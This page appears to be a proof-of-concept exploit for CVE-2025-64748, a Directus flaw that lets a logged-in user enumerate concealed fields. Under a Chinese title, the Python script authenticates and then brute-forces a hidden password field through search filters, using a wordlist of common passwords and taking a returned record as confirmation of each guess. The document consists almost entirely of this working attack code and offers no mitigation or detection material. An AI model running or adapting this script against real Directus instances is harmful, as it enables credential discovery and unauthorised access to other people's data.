CVE-2025-64748 Directus敏感字段枚举攻击漏洞

import requests import json # CVE-2025-64748 PoC - Directus Sensitive Field Enumeration # Target: Directus < 11.13.0 # Attack: Enumerate sensitive fields through search functionality TARGET_URL = "http://target-directus-instance.com" USERNAME = "attacker" PASSWORD = "password123" SENSITIVE_FIELD = "password" # or other concealed field def authenticate(): """Authenticate and get access token""" endpoint = f"{TARGET_URL}/auth/login" data = { "email": USERNAME, "password": PASSWORD } response = requests.post(endpoint, json=data) if response.status_code == 200: return response.json().get("data", {}).get("access_token") return None def enumerate_sensitive_field(token, field_name, wordlist): """Enumerate sensitive field values through search""" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Try each value from wordlist for value in wordlist: # Search for records where field matches the value payload = { "filter": { "_and": [ { field_name: { "_eq": value } } ] } } response = requests.post( f"{TARGET_URL}/items/your_collection", headers=headers, json=payload ) if response.status_code == 200: result = response.json() # If records are returned, the value matched if result.get("data") and len(result["data"]) > 0: print(f"[+] Found match: {field_name} = {value}") # Note: The actual value will be masked as **** # But existence of record confirms the guess # Example wordlist for enumeration common_passwords = ["admin", "password", "123456", "admin123", "password123"] token = authenticate() if token: enumerate_sensitive_field(token, SENSITIVE_FIELD, common_passwords)